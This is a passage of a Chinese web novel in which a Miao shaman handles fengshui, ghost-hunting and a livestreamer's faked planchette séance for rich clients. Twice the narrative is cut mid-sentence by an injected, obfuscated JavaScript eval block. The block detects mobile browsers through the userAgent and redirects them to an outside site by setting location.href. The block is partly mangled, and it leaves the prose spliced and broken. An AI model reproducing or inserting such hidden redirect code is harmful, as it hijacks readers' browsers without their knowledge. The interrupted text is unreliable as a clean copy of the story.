邬柳站在门口,脚步一顿,目光里的热切渐渐褪去,将全场缓缓扫视了一圈。 樊永年连忙起身,热情地迎了上来:“我原本只是请您一个人吃饭的,刚好跟几个老朋友说起您帮我看风水这件事,这几个老朋友也想见见您,所以临时组了个局,没有提前跟您说一声实在抱歉。” 樊永年的态度诚恳,脸上还带着几分歉意,并不像是假话。 邬柳原本也不会在意这些小事,只是他不太喜欢顶着“大巫”这个名头,不管是吃饭还是做事都要注意他的形象,只有在郝大哥面前,他才会放松下来。 而且樊永年还给他拉了这么多客户,邬柳自然不会跟他计较这么多,微微一笑:“不过是简单吃顿饭,你安排就好。” 樊永年见他没有生气,才放松下来,让他坐在主位上。 邬柳姗姗来迟,谁也没有计较这件事,反而是等他入席了,才开始吩咐服务员上菜。 离开湖山寺之前,邬柳把那身九条衣换下了,换回了苗族传统服饰,他身上挂着许多繁杂华丽的银饰品,虽然他长得年轻,但他身上散发出来的清冷感甚至让人不敢与他对视,生怕冒犯了他。 现场的气氛有些尴尬,樊永年主动谈起前两天家门口的那场车祸。 “听了大巫的话之后,我去查了关于那个路段所发生的车祸事件,没想到这两年发生的车祸就不下十起,其中一起还出了人命。” “那栋别墅最开始是一个姓鞠的老板买下来的,他还有个在读高中的女儿,叫鞠芊芊。” “在高考前一个星期,那天下暴雨,鞠芊芊回家时被一辆黑色的小汽车撞到了,整个人飞了出去,结果那个司机因为害怕她半死不活要赔更多的钱,于是心一狠就撞了她第二次,直接把她头骨都撞碎了。” “事发的路段就距离鞠芊芊家不到十米,而且她本来是有机会能活的,可惜,她遇到的是两个恶魔。” “那件事故发生之前,也发生过两起车祸,那两起车祸都是因为视野盲区所导致的车祸事件,可鞠芊芊那件事故发生后,那个路段频频发生车祸事件。” “根据发生车祸事件的当事人都曾透露过,在靠近那个路段的时候,他们好像被什么控制了思想,猛踩油门,脑海里有个声音一直喊着让他们撞上去。” “包括那天我和大巫遇到的那个司机,也是这么跟我说的,他说感觉自己像是中邪了,明明前面都没路了,还一个劲踩油门,撞上了我家那堵石墙。” “幸好那个司机没什么事,不然我这房子还真落实了凶宅的名头,到时候折上折都不一定卖得出去。” 坐在樊永年左边的那个男人,倒吸了一口凉气:“所以那个路段频频发生车祸,是因为那个叫鞠芊芊的女孩在作祟?” 樊永年也不敢肯定这件事跟鞠芊芊有没有直接关系,他悄悄看了一眼邬柳,迟疑道:“这事我也不敢乱说。” 昨天大巫的师兄,那位叫姜祈的大师已经来看过了,他也没看懂大师做了什么。 他怕还有人撞坏他家的墙,还特意搞了个超大的警示牌,结果什么事都没发生。 他把贵重物品都搬走之后,也没再进过那栋别墅的门。 他今天早上才让人送了一批新的家具到新房,老婆孩子下午就从老家赶了回来,也没再说什么离婚的话,他的股市也开始好转了,总算不是一片绿油油,下午还在建材市场遇到了几个十几年 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16466926|185491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前的老朋友,也就是包间里面的这几位老板。 一切都在往好的方向开始发展,还是多亏了邬柳和他的那位师兄,想到这里,樊永年有些激动,连忙给邬柳倒了杯酒,敬他一杯,感慨道:“要不是有大巫您,我现在还被蒙在鼓里,说不定就要妻离子散了。” 邬柳:“好说好说。” 靠近门边的男人惊讶地看了樊永年一眼,说道:“我年初的时候还在金融峰会上碰见过你,那时候你的事业运亨通,拿下本市几个大项目,我记得你发展得挺好的啊,这是怎么了?就因为那栋豪宅?” “不奇怪。”他旁边的男人摇了摇头,颇有感慨地开了口:“风水这种事情,轮到你的时候,你就自然会信了。” 樊永年狠狠地点了点头,表示赞同他这个说法,“杨大哥也信风水吗?” 杨晁笑道:“咱们做生意的,有几个是不信风水的?指不定家里都摆着几位财神爷,天天供奉呢。” 邬柳趁着他们说话闲聊的期间,已经把桌上那碟贵妃鸡的鸡翅和鸡腿都啃完了,还喝了两碗鱼翅汤。 财神爷的话题聊着聊着,突然有人提起了泰国的古曼童,这是一种泰国的民间信仰。 相传是一位泰国的大师通过佛法力量将流落在外的婴灵请入金身中,由供养者以“父母”的身份,赋予其一个“家”,为古曼童提供食物玩具,为其积累功德来提升财运,两者之间是一种“互利”关系。 杨晁:“按我说,还是别搞什么邪门歪道的东西,搞不好被反噬的话,还要拖家里的人下水,弄得家宅不宁。” 邬柳注意到他对面坐着的男人,听到杨晁这番话之后脸色变得极其难看,甚至额头上还渗着一层薄薄的汗水。 可湖山乡最近的天气很凉快,包间里还开着空调,这个男人居然被吓得出了一身冷汗,看来他被反噬的情况很严重。 邬柳默默地一个人干完了一碟龙虾肉,在话题结束后,深深地看了对面的男人一眼,在男人慌张的神色中别过头,看向其他人,漫不经心地开口:“想解决被阴灵反噬的情况并不难,有需要可以找我。” 樊永年笑道:“大巫可厉害了,他不仅会看风水,能驱鬼,能算命,也能治病,简直全能,有需要的话,可以找我推送大巫的微信号。” 邬柳勾唇笑了笑:“略懂皮毛而已。” 杨晁:“老年,给我推送大巫的微信号吧,我正好有点事想让大巫帮忙看看。” 樊永年:“行啊。” 邬柳用余光扫了对面的男人一眼,垂眸敛去一丝笑意,看来他马上就能接到一张大单了。 不过再大的单子应该都比不上席远那张单,也不知道席远什么时候才能来找他。 那将会是他的超级vvvvvip客户。 收个一百万不过分吧? 10. 第 10 章 饭局结束后,杨晁以顺路为由主动提出要送邬柳回酒店,可邬柳的酒店在西城门,而杨晁家住东城门,根本就不顺路,饭桌上的其他人心里门儿清。 杨晁有个儿子,学习成绩优异,在国外留学,杨晁一提起孩子,脸上总觉得有光,也没少在亲戚朋友面前炫耀自己家的孩子有多优秀。 作为父母看见自家孩子这么出色,自然是骄傲的。 杨晁一门心思就等他的儿子杨思博在国外留学回来后继承他手里的公司,没想到杨思博根本没有要子承父业的想法,毕业回国之后嚷嚷着要自己创业。 一开始杨晁还是很高兴的,觉得孩子长大了有自己的想法,想要独立,想要自己闯荡一番,那可是好事啊,他甚至都想好了要给孩子提供多少创业资金,哪怕破产倒闭了也没关系,就当是孩子积攒经验。 他兴致勃勃地想要跟孩子分享他的白手起家之路,正在兴头上时,却被一盆冷水无情地浇了下来。 杨思博所说的创业是指他要从事自媒体行业,要做视频博主,要直播,要打造个人IP,要做网红。 最要命的是杨思博为了流量,竟然做的还是探灵博主,这可把杨晁愁坏了,两父子没少为这件事吵架。 哪怕杨思博去跳舞,去唱歌,杨晁都没这么愁,可杨思博做的是探灵博主,那是他一个普通人能玩得起的吗?他是不是嫌自己命长? 杨晁气得停了杨思博的生活费,可杨思博铁了心思要创业,要做自媒体,要做网红,根本就不在乎杨晁停他的生活费。 为了赚取流量博眼球,杨晁甚至不惜到各种凶宅探险,越凶险的地方,他越要往那里凑,也是他这股不要命的狠劲,吸引了许多粉丝,短短时间内就成为了百万博主。 眼看着杨思博的身心状态越来越差,杨晁越来越担心,生怕他真惹上了什么脏东西。 杨思博是无神论者,他不相信任何超自然的存在,成为探灵博主,是因为这个赛道小众,有固定的流量群体,能快速涨粉且少走弯路。 如今的自媒体五花八门,想要脱颖而出,就得剑走偏锋。 无论杨晁怎么劝,杨思博都没有想过要停下脚步。 尤其是他现在已经成为了百万博主,在抖音和小红薯的平台上都收获了大量粉丝。 每条视频都是十万赞,直播场场都是百万观看次数,在线人数最少一万,偶尔还能飚个三四万。 视频评论的热度也提了上来,私信全是粉丝们的催更。 眼看着杨思博越来越激进,越来越疯狂,杨晁那天在听到樊永年发生的事情后,连忙让他帮忙搭线,找上了邬柳,让他帮忙看看儿子是不是中邪了。 杨晁站在杨思博家的门口,轻轻地按了下门铃。 邬柳微微挑眉,作为亲生父亲的杨晁居然连自家孩子大门的密码都没有,甚至连按门铃的动作都很轻,小心翼翼的,像是害怕孩子会被铃声吵到,大发雷霆,向他发脾气。 在门口等待了十分钟,杨晁又按了一次门铃,朝邬柳腼腆地笑了笑,尴尬地开口:“思博他脾气不好,您多担待。” 邬柳微微一笑:“没关系。” 毕竟是他的客户,钱到位,一切都好说。 还没开门就听到里面传来男人暴怒的声音:“我不是说了,让你不要来了吗?!” 大门打开后,一张苍白的脸出现在邬柳的视野里,眼前的男人清瘦,气血虚,看起来精神状态不太好,眼球布满了红血丝,像是很长时间没有休息好,难怪杨晁会这么担心。 杨思博看见邬柳时,明显地怔了怔,不满道:“你又带什么乱七八糟的人来?我都说了我没病,有病的是你!” 杨晁没说话,只是帮忙收拾家里的外卖空盒子。 倒是邬柳主动开口说了句:“你爸爸听说我对探灵有兴趣,所以带我来找你。” 杨思博听后,原本布满死灰的双眼闪过一丝亮光,热情地邀请他一起直播:“你可以来当我的嘉宾,我们待会一起玩笔仙游戏。” 邬柳:“可以。” 杨思博很高兴,他很少找到志同道合的朋友一起玩灵异游戏,更没想到邬柳会一口答应下来,他开心地准备着一会直播要用到的工具。 杨晁距离上次来看杨思博已经是一个星期之前的事情了,杨思博比前几天看到时还要虚弱,明明回国的时候还好好的,自从他为了当探灵博主,整个人瘦了一整圈,人也变得阴郁不近人情。 他看向杨思博的目光充满了担忧,与邬柳悄悄地交换了一个眼神。 “你先回去吧,没事别来找我,也不要打扰我直播。”杨思博对杨晁的态度很不耐烦,也不想听杨晁说话,生怕他又说什么自己不爱听的话。 邬柳:“那你就先回去吧。” 杨晁:“可是……” 邬柳淡淡地笑了笑:“别担心,不会有事的。” 23点50分,杨思博准时开播。 他在调整摄像头时,刚好对准了邬柳的脸。 [我靠!主播从哪里请来的嘉宾?!] [哇,这是在cosplay吗?演员?换主题了?不搞灵异了?] [这个嘉宾长得好帅!] [地址在哪里,联系方式又在哪里?] 杨思博发现今天刚开直播观众人数竟然就破万了,以往他都要直播好一会才能破万,而且现在直播在线的人数还在不停地往上涨,他刚坐下来打算跟粉丝互动一下,却发现评论区一直在刷关于邬柳的消息,都在问他的抖音号是多少,想关注他的账号。 杨思博没想着给别人引流,心情变得很烦躁,他刻意避开粉丝询问关于邬柳的消息,但还是架不住直播间的粉丝一直在问,誓不罢休。 杨思博只好无奈地看了邬柳一眼,不爽地问他:“粉丝们问你的抖音号是多少。” 邬柳基本不玩抖音,他唯一的兴趣爱好就是看点漫画和小说,所以他干脆表示他不玩这款软件。 听到他这句话,杨思博猛地松了口气,还故意笑他:“没想到现在还有人不玩短视频软件啊。” 邬柳:“嗯,这不是挺好的吗,让粉丝能专注你本人。” 杨思博听到这句话后,尴尬地笑了笑,总觉得他的想法都被对方给看穿了。 邬柳:“什么时候开始?” “快了。”杨思博已经把纸和笔都准备好了,他看着挂在墙上的钟,还剩一分钟就到凌晨十二点了。 邬柳似乎能感觉到周围的空气波动有了明显的变化。 十二点的钟声准时响起,“咚”的声音在这安静的房间里显得有些诡异,足足响了七下才停下来。 房间里的灯光明显要比刚才暗了些,桌上的烛火在摇曳。 杨思博在跟他讲解游戏规则,邬柳心不在焉地点了点头,他的目光缓缓扫过杨思博的身后,微挑的眸子闪过一抹猩红的光,他看着围绕在杨思博身边的那几个小鬼,不禁笑了笑,游戏还没开始,杨思博就已经把“笔仙”请回来了。 “严肃点!” “跟着我一起念!” “...”邬柳看着他身后那一堆虎视眈眈的小鬼就忍不住发笑,在杨思博发怒之前轻描淡写地说了句:“抱歉,我是第一次玩,不懂规矩。” 杨思博也不好再说什么,只是嘴里不停地念叨着:“笔仙笔仙请过来……” 短短几十秒后,邬柳感觉到手中的笔在不由自主地开始转动,他看了一眼对面的杨思博,他胳膊上的肌肉线条在微微抖动着,动作很轻,若不是他仔细观察,甚至都发现不了。 杨思博十分激动地喊道:“笔仙你来了是吗?” 笔尖滑向白纸上的“是”字。 这还是杨思博第一次这么成功且这么迅速地把笔仙请来了。 直播间的在线人数直接突破十万,打赏的礼物特效一个接着一个,停不下来。 杨思博:“笔仙,我什么时候能突破千万粉丝,成为千万博主?” 邬柳注意到,杨思博问的几个问题都跟他的事业有关,他急功心切,他想让他的父亲看到他的成功,想让那些说他只会靠家里关系的人闭上嘴巴,想靠自己创业成为富一代,所以才会选择最快捷的一条路。 邪修就是快。 杨思博做得挺成功的。 直播间的粉丝见他一直在问自己的事情不乐意了,让作为嘉宾的邬柳也问几个问题,他们好奇邬柳会问些什么,笔仙又会回答什么。 邬柳:“我几岁了?” 话音落下,邬柳感觉到手中的笔顿了顿,随后画了几个他看不懂的圈。 邬柳:“这指的是什么?” 杨思博:“笔仙说你今年才二十三岁。” 邬柳扬唇笑了笑:“是吗?” 看来他驻颜有方,改天问问樊永年有没有娱乐圈的人脉,他可以考虑卖卖美颜产品。 说不定比在塔塔村看诊要挣钱得多,要不把小医馆改成美容院吧? 郝大哥说他年轻,但实际上把他当作哥哥,做什么事都会问问他的意见。 而杨思博因为不了解他,所以只能根据他的外貌随意猜个差不多的数字。 笔仙说的“二十三”,其实是杨思博说的。 因为他根本没招出什么笔仙,全是他在自导自演而已。 其实笔仙游戏是中国一种民俗的通灵游戏,由“扶乩”演变而来的,而扶乩是古代一种迷信活动,假借鬼神的名义,在沙盘上画字以占卜吉凶。 时至今日,笔仙游戏出现在现代社会,经历过数代历史对规则的改写,如今的笔仙游戏跟过去相比,各个方面都发生了明显的变化。 现在的笔仙游戏,参与者更多是为了寻求刺激和事后的谈资,尤其是一些像杨思博一样的灵异博主,为了博取流量的手段而已。 真正的笔仙游戏招来的也不是仙,招来的恐怕是附近的孤魂野鬼。 换句话说,你在阴气最重的地方或者磁场最乱的地方,你不需要玩什么通灵游戏也能招来鬼魂。 邬柳瞧着向直播间大喊的杨思博,不动声色地动了动笔。 杨思博猛地一震,僵硬地看着他。 邬柳无辜地眨了眨眼:“怎么了?” 杨思博顿感后背发凉,满脸通红的激动开始冷静下来,连带着他的手都有些抖,而这一切在直播间的观众眼里,就是“笔仙显灵”。 杨思博:“粉丝们让你再问一个问题。” 邬柳:“还是不了吧?” 杨思博:“为什么?” 邬柳:“因为它回答错了,我并不是23岁。” 在邬柳说完这句话后,直播间的弹幕在疯狂滚动,不停地在扣问号。 杨思博没想到邬柳会这么较真,他尴尬地笑了笑:“那你也是20岁出头,估计也差不了几岁吧?要不你再问一个问题?” “好啊。”邬柳意味深长地笑了笑,问出了笔仙游戏的禁忌:“笔仙,你是怎么死的?” 那一瞬间,摇曳的烛火全部熄灭,直播间瞬间陷入了黑暗。 [???] [等会,你在问什么啊!疯狂尖叫!] [这是可以问的吗?!] [天啊!直播间为什么黑了啊!] [笔仙生气了!] 杨思博尖叫一声,随后发出“嘭”的一声,他倒在了地上。 邬柳把房间的灯光重新打开,来探了探杨思博的脉,他已经晕死过去了。 邬柳嫌弃地嘀咕了声:“怎么吓成这样,有那么吓人吗?” 他不知道的是,直播间此时还没关闭,在线人数早就超过了三十万人,弹幕刷得密密麻麻的。 邬柳从口袋里掏出符纸,咬破指尖,用他的血画了道符,他捡起桌上已经熄灭的白烛轻轻吹了一口气,那烛火忽地再次燃烧起来。 “所以你们仨是怎么死的?” “怎么不说话?是不喜欢说话吗?哑巴了?” “没长嘴?我生气了!真是没礼貌的家伙。” 邬 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虽然杨思博是个无神论者,但是杨晁在杨思博成为灵异博主之后,悄悄在他家里放了不少驱鬼辟邪的东西,这些东西还是挺有用的。 杨晁看着桌上的纸和笔,担心地说:“我们是不是该把笔仙送走?” 他虽然不赞同儿子搞什么探灵直播,两父子吵得就差断绝关系了,但杨思博始终是他的孩子,他不能坐视不管。 而且他只有这么一棵独苗啊,真怕杨思博会出什么事,所以每次杨思博开直播,杨晁都会蹲在直播间守着,久而久之,也熟悉了这些灵异游戏的玩法。 杨思博甚至都不知道,他的榜一大哥就是杨晁。 邬柳耸了耸肩:“他没有请来笔仙,自然也不用把笔仙送走。” 杨晁:“可我刚才看直播间不是已经把笔仙请来了吗?” 邬柳这才想起来还有直播这回事,他连忙回头看了看杨思博的手机,已经显示直播中断,被官方封禁了,他松了口气,解释道:“他哪里需要请什么笔仙,这房子里就住着好几个‘笔仙’呢。” 杨晁瞬间感到后背发凉,被惊得说不出话来,邬柳再次顺手地把他的收款码打开,含笑道:“护身符,要来一个吗?” 杨晁爽快地给他转了一千块:“那我就先要十个好了。” “...”邬柳不禁失笑,原来人人都是郝大哥,都想着符越多越好,效果翻倍。 杨晁只给自己留了一个,剩余的九个都塞进了杨思博的口袋里,神情严肃且紧张:“思博他真的没有中邪吗?他以前很乖的,学习又努力,又懂得孝顺父母,和我们的关系也很亲近,可自从他毕业回来说要当探灵博主之后,总喜欢跟家里吵架,明明他是不信鬼神的,忽然像被什么脏东西沾上了一样,变得神经兮兮的。” 邬柳摇摇头:“你有空还是带他去看看心理医生吧,或许他自己也不想成为探灵博主,你可以查查他毕业那段时间到底接触过什么人,对他说了什么话,说不定你会找到你想要的真相。” 他给杨思博算过一卦,他确实不是什么叛逆的孩子,品性挺乖的,也许就因为他是温室里长大的孩子,所以才会经此一劫。 也不知道是谁给他出的馊主意,让他走邪修的方式,把自己弄得乱七八糟的。 成为灵异博主所要承受的心理压力远超常人。 虽然杨思博不信鬼神,但他为了博取流量,故意制造出一些超自然现象的灵异事件,可常在河边走,哪有不湿鞋的。 所以他招引了很多阴灵,一步步蚕食他的身体,直至将他的元气消耗殆尽。 杨晁:“这房子还能住人吗?” 邬柳:“这房子没什么问题,不过你最好还是找个人跟他一起住,尽量不要让他一个人呆着,免得他总胡思乱想。” 杨晁深深地叹了口气,谈何容易啊。 邬柳给杨思博喂了点水,他很快就醒了过来,惊恐地喊道:“真的有笔仙!” 邬柳啧声:“你确定你请来的是仙?” 杨思博哆嗦着嘴唇,不敢吭声。 邬柳:“你不是都已经见过那几个你请来的‘仙’了吗?” 杨思博神色崩溃地大喊:“他们不是我请来的!我也不知道他们为什么会在我的房子里面!” 邬柳拽着他的手,直接给他扎了一针,说:“蜡烛熄灭的那几秒里,你有什么感觉?” 杨思博:“晕,想吐,呼吸不过来。” 邬柳:“你知道为什么吗?” 杨思博摇摇头。 邬柳:“当时你的身边就有三只小鬼,你应该能感觉到吧,他们一个拽着你的手,一个掐着你的脖子,一个重重地压在你的身上。” 杨思博惊恐地瞪大双眼,颤声:“是,我能感觉到。” 邬柳:“所以你才不敢睡觉,家里还装了这么多的灯,不管白天黑夜都要开着灯。” 杨思博咽了咽口水,小心翼翼地扫视了一下四周,艰涩道:“那他们现在还在吗?” 邬柳:“不在了。” 杨思博深吸一口气,整个人终于松懈了下来。 邬柳:“要不是杨晁,你都不知道死多少次了,多少钱都买不来一张复活券。” 杨思博这才反应过来,邬柳不是他爸给他找来的玩伴,是来给他收拾残局的。 一旁偷听了半晌的杨晁被邬柳刚才那一番话深深触动,大巫简直就是天使啊! 【收钱包到账三十万元】 邬柳看了一眼他的余额,简直要热泪盈眶,有钱人的钱真好赚啊。 他目前手里还有一个小冤种,一个大冤种。 他的别墅要有着落了,装修的钱估计也能挣到手了。 小冤种:那位养古曼童的老板。 大冤种:他的超级vvvvvip客户席远。 希望他们别再挣扎了,早日认清自己是倒霉蛋的事实,早点来找他化解霉运。 11. 第 11 章 邬柳的一句“对待鬼神应该有敬畏之心”让杨思博幡然醒悟,他也意识到走歪门邪道迟早是会遭到反噬的,急于求成并不是什么好事,他也不需要向谁证明他自己,父母是这个世界上最爱他的人,别因为他人几句酸不拉几的话,伤害了自己和父母之间的感情。 他本来打算宣布永久停更,也不再执着于自己创业,回家安心啃老,继承他爸的亿万财产。 没想到他刚打开抖音,就被后台密密麻麻的消息吓了一跳。 点赞99+ 评论99+ 粉丝99+ 系统提示他的直播涉及大量封建迷信,所以将他的直播间封了。 可昨晚那场直播观看人数竟高达千万,最高峰值时接近四十万在线观看人数。 杨思博震惊地点开他的主页看了看,他的粉丝数已经达到了两百万,昨天发的那条视频点赞数量破三十万,评论量高达三万,收到的礼物打赏也有小几十万。 他火了? 在他打算金盆洗手不干自媒体的时候,他居然火了? 杨思博发现他还上了抖音热搜。 #探灵博主玩笔仙游戏疑似招到三只小鬼 他迫不及待地点进话题看了一眼,心情复杂地看完了整个视频。 原来他们并没有发现他的作假痕迹,反而相信他是真的招来了“笔仙”,他们的关注点也不在自己身上,而是在邬柳咬破手指画符的那一幕,邬柳不仅知道房间里面有三只小鬼,还生气训斥它们不礼貌,最后还烧符驱鬼。 接着就是他的直播间被官方封禁了。 [我靠!好想知道博主在烛火熄灭的那几秒里发生了什么!!] [活的...捉鬼天师?!] [这博主请的什么嘉宾啊?我的天啊!是喊他来捉“笔仙”的?] [博主现在怎么样了?该不会是嘎了吧?] [三分钟之内,我要这个嘉宾的全部信息!] [等等!这不是大巫吗?!] [什么?大巫?] 杨思博看到自己倒在地上不省人事的时候,心尖猛地一颤,那时他只觉得浑身发冷,像是被另一具冰冷的躯体紧紧束缚着,让他无法挣脱,随后便失去了意识。 不久后,邬柳给他喂了一杯奇怪的水,然后他就醒了。 杨思博掏出口袋里的那个护身符看了看,他爸到底是给他弄来了个什么大佬啊? …… …… 听说邬柳要在湖山乡逗留一阵子,郝大哥也不急着走了,两人把湖山乡游玩了遍。 两人累得瘫倒在景区的长椅上,郝大哥手里还拎着好几袋小吃,看着正在吃糖葫芦的邬柳,他好奇地问道:“所以通灵游戏是真的能招到鬼魂吗?” 邬柳:“也不全是,更多是一种心理暗示导致你认为‘与鬼同在’。” 郝大哥:“心理暗示?” 邬柳:“也就是说,当你在玩这种恐怖惊悚游戏时,你的身体,你的大脑会欺骗你自己,你在强烈期盼‘它’的到来,会一直保持着高度紧张的状态,黑暗和寂静会放大了你的感官,所以在这时,一股微风,一声轻响,所有巧合都会在你强烈的心理预示下变成‘它’真的来了,实际上没有任何事情发生,但在那一刻,你的大脑强化了你的信念,让你对这一切深信不疑。” 郝大哥:“所以大部分都是受心理影响,那小部分是真的招到鬼魂了?!” 邬柳:“有些人气场很阴,或者说招阴体质的人能见到鬼魂也不奇怪,这种人不需要玩通灵游戏也能见到鬼,有些通灵游戏破坏了气场,将附近的阴灵招引了过来,还有可能被阴灵缠上无法脱身。” 郝大哥忽然想起被402女租客纠缠的日子,赶紧摸了摸身上的护身符,他现在每天都把这枚护身符带在身上,连洗澡都要放在自己看得见的地方。 “我不要,不是说好了,给我一点时间考虑的吗?” “我给你时间了。” “你就给个十天半个月的时间,哪里够?” “我的耐心是有限的。” “你这是强人锁男好吗!那我不干了,你帮我把这蛊给解了!” 附近传来一对情侣的吵闹声,邬柳对两人吵架的内容不感兴趣,直到他听到“蛊”这个字时瞬间来了兴致,扭过头看了一眼坐在距离他们不远处的那对情侣。 怎么觉得怪眼熟的,是不是在哪里见过? 四目相对,原本还吵得脸红的男人向他飞奔过来,跪倒在他脚边,哭喊道:“大巫!求求你了!管管你的族人吧!!” 邬柳终于想起来了,他就是那个被下了情蛊的小帅。 跟在小帅身后的男生,在邬柳面前低着头,乖乖地喊了声:“大巫。” 小帅抱紧了邬柳的腿,不肯松开,不停地抱怨着男生对他的恶劣行为。 男生见状,不爽地将他的手掰开。 邬柳无奈地看了男生一眼,提醒道:“逼得太紧,反而会适得其反。” 小帅:“就是,你能不能尊重一下我的意愿!” 男生抿着唇,没说话。 倒是邬柳发现,小帅身上的情蛊已经不在了。 能解小帅身上的情蛊只有给他下蛊的人。 邬柳:“既然这样,那我就帮你把这情蛊给解了吧,让你男朋友回我们塔塔村,我让村长给他再找个伴侣。” 小帅怔住,茫然地看着他:“不是说不能解吗?” 邬柳:“其他人不行,但我可以,你还要解开身上的情蛊吗?” 小帅猛地看向一旁抓住他的男生,男生没有说话,只是静静地看着他,仿佛在等待他的答案。 邬柳:“你可是要想好了,一旦我把你的情蛊解开,你们俩的缘分就到尽头了,所以你也就自由了,不用担心他对你死缠烂打,以后他也不会出现在你的面前了。” 小帅:“我...容我想想。” 邬柳眉梢微扬:“这不是你想要的吗?还需要考虑?” 小帅:“你不是说过他是我的正缘吗?还说我们就算这一路上几经波折,最后还是会获得圆满的结局。” 邬柳微微一笑:“我可以给他改姻缘线。” 小帅听后立马急了,他踹了一脚旁边高大的男生,怒道:“你说句话啊!” 男生:“我尊重你的意愿。” 小帅被这句话气得头皮发麻,这个时候就知道尊重他的意愿了? 邬柳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16466928|185491||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不耐烦道:“行了,别磨叽了,我现在就帮你把情蛊解了。” “等等!”小帅咬了咬牙,踩了男生一脚,气呼呼地开口:“我不解了!” 说完后,他就拉着男生跑了。 坐在一旁,围观了全程的郝大哥:“……” 他怎么感觉大巫是唬小帅的呢,改姻缘线什么的,他怎么从来没听说过! 而且塔塔村确实有规矩不能随便解别人的情蛊,说不定会引来对方疯狂的报复。 郝大哥刚想问,邬柳就主动说了句:“我骗他的,他身上的情蛊早就解了。” 郝大哥:“???” 邬柳:“真心喜欢的两个人不需要情蛊。” 郝大哥悄悄地凑近他,好奇地问道:“那大巫您有过喜欢的人吗?” “呸!”邬柳险些被嘴里的糖葫芦籽崩坏了牙,含糊地说了句:“一般人入不了我的眼。” “那是自然!”郝大哥对这一点很赞同,普通人哪里配得上大巫,“您喜欢的一定是会降妖除魔,拥有通天本领的大师!” 邬柳耸了耸肩表示:“没兴趣。” 郝大哥想了很久,灵光一闪:“那就是传说中大祭司那样的人!” “咳!”邬柳被口水呛到,咳得脸都红了,语气中充满了嫌弃:“放屁!绝无这种可能,千万别乱说!” 郝大哥想了半天也没想到邬柳会喜欢什么类型的人。 邬柳:“我喜欢有钱人。” 郝大哥:“???” 怎么跟他想的完全不一样。 邬柳:“这是最低标准,因为我喜欢钱,如果他没钱的话,我根本都不会多看他一眼。” 郝大哥:“就这么简单?” 邬柳点点头,他的要求不高是因为他从未想过要与任何人成为伴侣。 郝大哥有些失望。 他觉得这世上没有人能与大巫比肩。 大巫好像更喜欢一个人自由自在的。 他这个迷弟可以放心当毒唯。 郝大哥:“那您能帮我算算我的姻缘线吗?” 十分钟后。 邬柳面无表情地道了句恭喜:“你要发财了。” 郝大哥:“!!!” 郝大哥双眼发亮:“真的吗?!” 随后又顿了顿,说:“诶?我算的不是姻缘吗?” 邬柳咬牙切齿地说道:“...恭喜你了,很快就能成为上门女婿,入住大别墅,拥有巨额生活费。” 这命真好啊! 郝大哥:“诶?!不是我...我?上门女婿?” 邬柳:“说错了。” 郝大哥在略带失望的眼神中松了口气:“我就说嘛,肯定是算错了。” 邬柳:“不是上门女婿,是上门儿婿。” 郝大哥:“?!!” 他的性取向就这么水灵灵地变了? 如果是住进大别墅,还有巨额的生活费,也不是不行。 越想越美。 郝大哥羞涩地笑了笑:“我的正缘什么时候来呀?” “叮铃铃——” 邬柳看了眼手机来电,拿着手机在郝大哥面前晃了晃,笑道:“你的正缘来了。” 12.第 12 章 杨晁见到邬柳笑得可开心了。 “大巫!” 听到这道声音,郝大哥浑身一震,大巫说的他要嫁入豪门,该不会是指眼前这个中年男人吧? 他还是很有原则的!绝对不会为了金钱卖身! 就在他打算放弃当这个上门儿婿的想法时,杨思博从杨晁身后蹿了出来,兴致勃勃地跟邬柳分享昨天的直播数据。 邬柳:“你说我要火了?” 杨思博点点头:“有很多路人私信我想找您的联系方式。” 邬柳兴致缺缺:“找我做什么?我又不玩抖音,也不会直播。” 杨思博:“您现在创建一个账号,马上变成小网红了!” 邬柳:“能赚到钱吗?” 杨思博:“那当然了,还有人问我您能不能看风水,还有人想要找你合作拍几期探险的视频。” 邬柳手上还有一个大单一个小单,把这两单做完,他的豪宅应该有了,所以目前应该不会再接单了。 网上找他看风水的多数都是些小单,赚不到什么钱,邬柳懒得挪窝了。 杨思博:“做网红可是很赚钱的。” 邬柳忽然想起郝大哥也是个网红,回头看了他一眼,“那你赚到钱了吗?” 突然被Q的郝大哥,终于收回了落在杨思博身上的目光,默默地点了下头。 杨思博还以为跟在邬柳身后的大块头是他请来的保镖,没想到竟然是同行,“你是做什么的?” 郝大哥:“健身博主。” 杨思博:“哦。” 看着对方健硕Q弹快要把上衣撑爆的胸肌,和隐藏在衣服下的性感人鱼线,好像并不奇怪,但他对健身不感兴趣,他很快就把目光收了回去,继续忽悠邬柳,想要找他拍视频:“要不您还是开个抖音账号吧?” 邬柳:“你昨晚不是说不干这行了吗?” 杨思博微微抿唇:“我好不容易才攒下两百万粉丝,注销账号总觉得好可惜,我打算转型做个旅游探店博主。” 邬柳听后看了一眼杨晁,见他气定神闲地在点菜,看来是没招了,打算摆烂了。 杨晁注意到他的目光,轻叹一声:“只要不做违法的,不损害身心健康的,我都支持,孩子开心最重要。” 经过他们两父子彻夜长谈之后,杨晁也终于明白儿子的心思,杨思博觉得自己年纪还小,不想接手公司事务,他向杨晁保证,不会再做什么邪门歪道的东西,但也不会放弃抖音博主这个行业。 杨晁自己也想明白了,他又不是七老八十干不动了,他还能再干二十年。 所以他不仅恢复了杨思博的生活费,还给他打了一笔旅游经费。 